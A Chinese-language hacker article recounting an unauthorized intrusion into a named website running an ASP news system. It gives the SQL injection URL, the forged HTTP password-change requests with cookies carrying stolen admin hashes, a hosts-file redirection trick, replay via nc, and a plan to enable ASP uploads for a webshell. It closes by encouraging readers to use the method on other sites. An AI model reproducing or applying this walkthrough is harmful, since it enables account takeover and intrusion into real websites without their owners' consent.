很多大俠都是通過(guò)查看程序的源代碼發(fā)現(xiàn)漏洞的。但是由于我才剛開(kāi)始學(xué)ASP,所以還沒(méi)有達(dá)到這種境界。雖然搜索漏洞不方便,但偏偏一些程序就讓被我找出來(lái)點(diǎn)東西。
自從以前看了個(gè)"動(dòng)網(wǎng)upfile漏洞利用動(dòng)畫(huà)",我對(duì)抓包修改有了初步了解。當(dāng)時(shí)就感覺(jué)用途不只是上傳那么簡(jiǎn)單。于是愛(ài)死了WinSock Expert,經(jīng)常有事沒(méi)事拿著他分析下提交的數(shù)據(jù)包。往往在不經(jīng)意間,有很大的收獲。最近就用它發(fā)現(xiàn)了幾個(gè)安全漏洞。
圖1是筆者以前侵入過(guò)的一個(gè)站點(diǎn)。據(jù)說(shuō)那次事件過(guò)后,該網(wǎng)已經(jīng)開(kāi)始重視Web安全了。這次我抱著幫他檢測(cè)漏洞的心態(tài),瞧瞧能不能再侵入并放個(gè)頁(yè)面上去。
該網(wǎng)站使用的是沸騰3AS流浪塵緣新聞系統(tǒng)(核心:塵緣雅境圖文系統(tǒng))V0.45 ACCESS版build 1程序。

大家都知道塵緣雅境有個(gè)漏洞Uploadfaceok.asp可以上傳ASP木馬。管理員似乎知道這里有問(wèn)題。默認(rèn)數(shù)據(jù)庫(kù)地址也不在。
轉(zhuǎn)來(lái)轉(zhuǎn)去,感覺(jué)這個(gè)站點(diǎn)有點(diǎn)讓人摸不著頭腦了,就好像有人故意在留后門一樣,這個(gè)版本的塵緣新聞系統(tǒng)本來(lái)不應(yīng)該存在漏洞的,但是在瀏覽信息的時(shí)候卻發(fā)現(xiàn)他用的是ReadNews1.asp 這個(gè)文件,并沒(méi)有用原來(lái)的ReadNews.asp,很奇怪,隨手輸入一個(gè)',竟然存在注入漏洞,明顯沒(méi)有過(guò)濾。http://lovefree.org/wenzhang/wenzhang/ReadNews1.asp?NewsID=173是個(gè)注入點(diǎn)[Y2] (圖2),

但是將文件名改為readnews.asp?newsid=173卻被過(guò)濾了。而站點(diǎn)首頁(yè)又顯示的是readnews1.asp,很可能是管理員修改過(guò)文件的什么地方,由于不懂注入漏洞,所以看不出來(lái)那段防止注入的代碼含義,最后不小心把原來(lái)用來(lái)防止注入的部分取掉了。就是說(shuō)塵緣雅境系統(tǒng)本來(lái)不存在這個(gè)注入點(diǎn),現(xiàn)在卻被無(wú)意中制造了一個(gè)。注入之后得到的密碼,也就是數(shù)據(jù)庫(kù)中的密碼值是MD5加密過(guò)的,這個(gè)"地球人都知道"。
MD5破解不開(kāi),我就想到了WinSock Expert抓包修改,因?yàn)槲矣浀脡m緣雅境這個(gè)程序在后臺(tái)管理員修改密碼的時(shí)候,并沒(méi)有讓輸入原始密碼,而默認(rèn)密碼框中是原始密碼的MD5值。就是說(shuō),如果你修改密碼,會(huì)提交新的密碼,但是需要驗(yàn)證舊的密碼的MD5值。現(xiàn)在既然拿到了MD5值,就可以修改密碼了,還有一點(diǎn)要注意的是抓報(bào)的時(shí)候要看清楚包的內(nèi)容,看看它除了要驗(yàn)證舊密碼的MD5值以外,還會(huì)驗(yàn)證什么。
那么還是下載這個(gè)版本,看看后臺(tái)有什么經(jīng)過(guò)修改可以拿webshell的。在本機(jī)上打開(kāi)iis服務(wù),訪問(wèn)初始化程序的后臺(tái)頁(yè)面。后臺(tái)有個(gè)管理員修改密碼的地方,我猜想如果程序在修改后臺(tái)密碼的時(shí)候如果使用cookies驗(yàn)證方式,那么我們就可以直接提交相映的數(shù)據(jù)包,如果包中內(nèi)容符合程序要求,程序就會(huì)認(rèn)為合法,則執(zhí)行修改管理員密碼的代碼。下面是我在修改密碼的時(shí)候抓的數(shù)據(jù)包(圖3)

主要是想看看修改密碼都需要什么信息,需要包中符合哪些內(nèi)容。我在本機(jī)上的iis服務(wù)器ip為192.168.32.21,下面是包內(nèi)容:
---------------------------------------------------------------------------------------
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
username=base&passwd=22222&passwd2=22222&fullname=%D0%A1%B7%D1&depid=8&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
-------------------------------------------------------------------------------------
下面就是需要驗(yàn)證的Cookie內(nèi)容
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
這些是需要的信息。不需要都看懂,只要知道有username,Passwd,purview,KEY,fullname,這個(gè)幾個(gè)值需要驗(yàn)證,就是讓他們符合要求。再看看數(shù)據(jù)庫(kù),它們都在admin表下。也就是說(shuō),我現(xiàn)在可以通過(guò)注入弄到它們。purview=99999,KEY=super這兩個(gè)是說(shuō)明其為超級(jí)管理員,不變,最重要的就是剩下的三個(gè)值。
Username=admin, Passwd= 24a2b13f36f9f99c, fullname=doudou(都是通過(guò)nbsi工具注入得到的值)[Y4] ,我們就用這些來(lái)欺騙?,F(xiàn)在包對(duì)應(yīng)的值有了,包內(nèi)容如果現(xiàn)在提交,就會(huì)出現(xiàn)修改成功,這樣會(huì)把我本機(jī)的初始?jí)m緣雅靜程序密碼改掉。要改的可是他的啊,怎樣做到最簡(jiǎn)便呢?我們知道包內(nèi)容里面有被修改程序的ip地址,當(dāng)然也可以改,可是改了以后還要計(jì)算并修改包大小值,這樣子很麻煩,還不如我們不修改包了。就先欺騙自己的機(jī)子,讓自己以為自己所架設(shè)的服務(wù)器ip地址就是域名lovefree.org,然后抓包,再讓自己的機(jī)子認(rèn)為lovefree.org又指向原來(lái)的地方,那么我們就不用再改動(dòng)包的內(nèi)容了。做法很簡(jiǎn)單。
要做的是讓我自己的電腦認(rèn)為站點(diǎn)_blank>http://lovefree.org/wenzhang/wenzhang/在我的ip上,而且對(duì)應(yīng)得路徑就是我安裝的塵緣雅靜初始化程序地址。改E:\WINDOWS\system32\drivers\etc\下的hosts文件,加一行:
192.168.32.21 lovefree.org(圖4)

然后設(shè)置iis服務(wù)器,加上個(gè)虛擬目錄wenzhang/wenzhang指向塵緣雅境在自己機(jī)子上的目錄。好了,現(xiàn)在在瀏覽器上輸入http://lovefree.org/wenzhang/wenzhang就是我的機(jī)子上的初始的塵緣雅境了,(圖5)

這樣的目的是抓到的包等一下可以直接提交給真實(shí)的服務(wù)器一樣(可以在后臺(tái)改,fullname是管理員的全名)。" target=http://lovefree.org/wenzhang/wenzhang地址,不需要修改包的大小,而為了保證大小一樣,在我們機(jī)子上的username=admin,fullname=doudou,也設(shè)置的和遠(yuǎn)程服務(wù)器一樣(可以在后臺(tái)改,fullname是管理員的全名)。
一切就緒,現(xiàn)在開(kāi)始再抓一次修改密碼的包,為了方便起見(jiàn)我已經(jīng)把管理員信息改為username=admin,fullname=doudou了,剩下包里需要修改的信息,就是md5的密碼值,因?yàn)閙d5加密后都是16位的,不影響包大小。
---------------------------------------------------------------------------------------
POST /admin/saveedit.asp?id=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-shockwave-flash, */*
Referer: _blank>http://www.xijing.com.cn/admin/useredit.asp?id=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: www.xijing.com.cn
Content-Length: 110
Connection: Keep-Alive
Cache-Control: no-cache
(下面是coocike驗(yàn)證內(nèi)容)
Cookie: NB796459377Vote1=1; ASPSESSIONIDQSTCRBQS=MGCLHDBBGDELLJGJGJHGKBML; reglevel=; fullname=doudou; KEY=super; UserName=admin; purview=99999; Passwd=24a2b13f36f9f99c
(下面是修改信息)
username=admin&passwd=abend&passwd2=abend&fullname=doudou&depid=10&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
---------------------------------------------------------------------------------------
看到了,包和真的一樣!簡(jiǎn)直就像從他的服務(wù)器上抓來(lái)的。這樣我們要改的,就只有passwd的md5值了,就是說(shuō),只要這個(gè)也匹配,真正的lovefree.org服務(wù)器就會(huì)認(rèn)可。改為24a2b13f36f9f99c就是注入得到的密碼md5值?,F(xiàn)在把host文件的內(nèi)容改回來(lái),改回來(lái)之后,再輸入域名lovefree.org就是打開(kāi)真實(shí)地址了。用nc提交(圖6)

哈哈!恭喜您!您的資料已經(jīng)修改成功! 2秒鐘后返回上頁(yè)!
現(xiàn)在密碼就是abend。用它來(lái)登錄后臺(tái),到網(wǎng)站屬性改"上傳文件類型:"多加一個(gè)asp,就可以上傳asp木馬。
就針對(duì)塵緣雅境來(lái)說(shuō),雖然大家可能沒(méi)我那么幸運(yùn),剛好有個(gè)readnews1.asp文件沒(méi)加過(guò)濾,但是如果不小心拿到了數(shù)據(jù)庫(kù),也不至于看著md5發(fā)愁了吧?其實(shí)還有很多程序都存在這樣的問(wèn)題,如果你拿到了某站管理員的md5值,不妨用這種方法試一下,也許有很大收獲!


